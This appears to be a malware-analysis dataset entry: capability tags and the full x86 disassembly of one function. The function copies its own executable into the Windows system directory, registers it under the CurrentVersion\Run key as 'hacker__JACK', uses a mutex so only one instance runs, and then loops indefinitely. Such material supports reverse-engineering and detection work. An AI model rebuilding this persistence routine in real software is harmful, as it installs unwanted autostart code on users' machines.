Function at 0x4019b0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Get common file path
Persist via run registry key
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5ff669
mov eax, dword fs:[0]
push eax
sub esp, 0x57c
push ebx
push esi
push edi
lea edi, [ebp - 0x588]
mov ecx, 0x15f
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x670ed8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x124], eax
mov esi, esp
push 0x104
lea eax, [ebp - 0x118]
push eax
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, esp
call fcn.005ce360
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x130]
call fcn.00401e80
mov dword [ebp - 4], 0
push 0x65
lea ecx, [ebp - 0x130]
call fcn.00401fc0
mov dword [ebp - 0x13c], eax
push 0x614ff0
mov eax, dword [ebp - 0x13c]
sub eax, 3
push eax
lea ecx, [ebp - 0x57c]
push ecx
lea ecx, [ebp - 0x130]
call fcn.00402040
mov dword [ebp - 0x584], eax
mov edx, dword [ebp - 0x584]
mov dword [ebp - 0x588], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x588]
push eax
lea ecx, [ebp - 0x148]
push ecx
call fcn.00402150
add esp, 0xc
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x57c]
call fcn.00401f30
mov esi, esp
push 1
push 0
push 0
lea ecx, [ebp - 0x148]
call fcn.00402260
push eax
push str.explore
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp esi, esp
call fcn.005ce360
mov esi, esp
push 0x614fd8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x154], eax
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.005ce360
cmp eax, 0xb7
jne 0x401b3e
mov esi, esp
mov eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x154], 0
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [ebp - 0x260], 0
push 0x103
push 0
lea eax, [ebp - 0x25f]
push eax
call fcn.005ce400
add esp, 0xc
mov byte [ebp - 0x36c], 0
push 0x103
push 0
lea eax, [ebp - 0x36b]
push eax
call fcn.005ce400
add esp, 0xc
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x378], eax
mov esi, esp
push 0x104
lea eax, [ebp - 0x260]
push eax
mov ecx, dword [ebp - 0x378]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, esp
call fcn.005ce360
mov esi, esp
mov eax, dword [ebp - 0x378]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.005ce360
mov esi, esp
push 0x104
lea eax, [ebp - 0x36c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp esi, esp
call fcn.005ce360
push 0x614fcc
lea eax, [ebp - 0x36c]
push eax
call fcn.005ce490
add esp, 8
mov esi, esp
push 1
lea eax, [ebp - 0x36c]
push eax
lea ecx, [ebp - 0x260]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp esi, esp
call fcn.005ce360
mov dword [ebp - 0x384], reloc.OLEAUT32.dll_SysReAllocString
mov ecx, 0xb
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [ebp - 0x48c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xd2
push 0
lea eax, [ebp - 0x45e]
push eax
call fcn.005ce400
add esp, 0xc
mov dword [ebp - 0x4a4], 0x104
mov esi, esp
lea eax, [ebp - 0x498]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x48c]
push ecx
mov edx, dword [ebp - 0x384]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp esi, esp
call fcn.005ce360
test eax, eax
je 0x401cb5
mov esi, esp
push 0
lea eax, [ebp - 0x498]
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea ecx, [ebp - 0x48c]
push ecx
mov edx, dword [ebp - 0x384]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp esi, esp
call fcn.005ce360
mov esi, esp
lea eax, [ebp - 0x4a4]
push eax
lea ecx, [ebp - 0x36c]
push ecx
push 0
push 0
lea edx, [ebp - 0x48c]
push edx
mov eax, dword [ebp - 0x384]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp esi, esp
call fcn.005ce360
test eax, eax
je 0x401d28
mov esi, esp
lea eax, [ebp - 0x36c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, esp
call fcn.005ce360
add eax, 1
mov esi, esp
push eax
lea ecx, [ebp - 0x36c]
push ecx
push 1
push 0
push str.hacker__JACK
mov edx, dword [ebp - 0x498]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp esi, esp
call fcn.005ce360
mov esi, esp
mov eax, dword [ebp - 0x498]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.005ce360
call fcn.00401820
call fcn.00401500
mov eax, 1
test eax, eax
je 0x401d67
mov esi, esp
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.005ce360
jmp 0x401d48
mov dword [ebp - 0x570], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x148]
call fcn.00401f30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.00401f30
mov eax, dword [ebp - 0x570]
push edx
mov ecx, ebp
push eax
lea edx, [0x401dd4]
call fcn.005ce390
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005ce350
add esp, 0x588
cmp ebp, esp
call fcn.005ce360
mov esp, ebp
pop ebp
ret